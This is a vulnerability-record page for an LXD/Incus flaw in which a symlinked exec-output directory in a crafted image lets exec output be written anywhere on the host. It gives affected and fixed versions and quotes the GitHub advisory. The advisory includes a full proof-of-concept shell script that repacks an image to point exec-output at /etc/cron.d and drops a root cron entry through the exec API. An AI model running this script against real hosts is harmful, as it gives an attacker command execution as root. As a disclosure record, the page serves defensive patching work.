Read the docs
TI-2026-86065 Aliases GHSA-9j25-mm2h-2f76

LXD allows arbitrary file write on host via exec-output symlink in crafted image

Priority LOW 38CWE-73Published · Updated

Key facts

Attack vector
—
Privileges required
—
User interaction
—
Attack complexity
—
Impact type
—
Confidentiality · integrity · availability
—
Fix status
Fixed

No CVSS vector from any source. Fix status from GitHub.

Summary

The github.com/canonical/lxd Go module is affected before 0.0.0-20260626085134-124f90100640. The record-output parameter of the instance exec endpoint trusts the exec-output directory, so a crafted image whose exec-output entry is a symlink lets a user with access to the instance write exec output files to an arbitrary location on the host (CWE-73). An attacker who can import an image and call the exec endpoint can write files such as cron entries, which may lead to command execution on the host. No public exploit or CISA KEV listing is reported.

Written with Claude Haiku 5.5 from the sources below · 2026-11-06

Description from the GitHub advisory

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv ### Summary The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. ### Details When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink. ### PoC Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on the host for arbitrary command execution. ``` #!/bin/sh # usage: $0 existing-imagefp set -eu basefp="${1}" die() { printf '%s' "${@}" >&2 exit 1 } command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n' tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP # insert exec-output symlink incus image export "${basefp}" "${tmpdir}/img" mkdir "${tmpdir}/repack" cd "${tmpdir}/repack" xz -cd "${tmpdir}/img" | tar -f- -vx rm -rf exec-output ln -s /etc/cron.d exec-output tar -f- -c * | gzip -c9 >"${tmpdir}/img" cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output # Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])") curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null #find /etc/cron.d/exec_* -exec cat {} \; ``` ### Impact Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.

Why it matters now

Fix Fixed github.com/canonical/lxd (Go): 0.0.0-20260626085134-124f90100640

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—github.com/canonical/lxd (Go)before 0.0.0-20260626085134-124f901006400.0.0-20260626085134-124f90100640Patch availableGHSA-9j25-mm2h-2f76
  • github.com/canonical/lxd (Go) Vendor— Affected before 0.0.0-20260626085134-124f90100640 Fixed in 0.0.0-20260626085134-124f90100640 Patch available GHSA-9j25-mm2h-2f76

Remediation

Update github.com/canonical/lxd to 0.0.0-20260626085134-124f90100640 or later.

Written with Claude Haiku 5.5 from the sources below · 2026-11-06

  • Fix · GHSA-9j25-mm2h-2f76 github.com/canonical/lxd (Go) Fixed in 0.0.0-20260626085134-124f90100640 Advisory →

Timeline

  1. 2026-11-06 Threatist record created from GHSA-9j25-mm2h-2f76

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences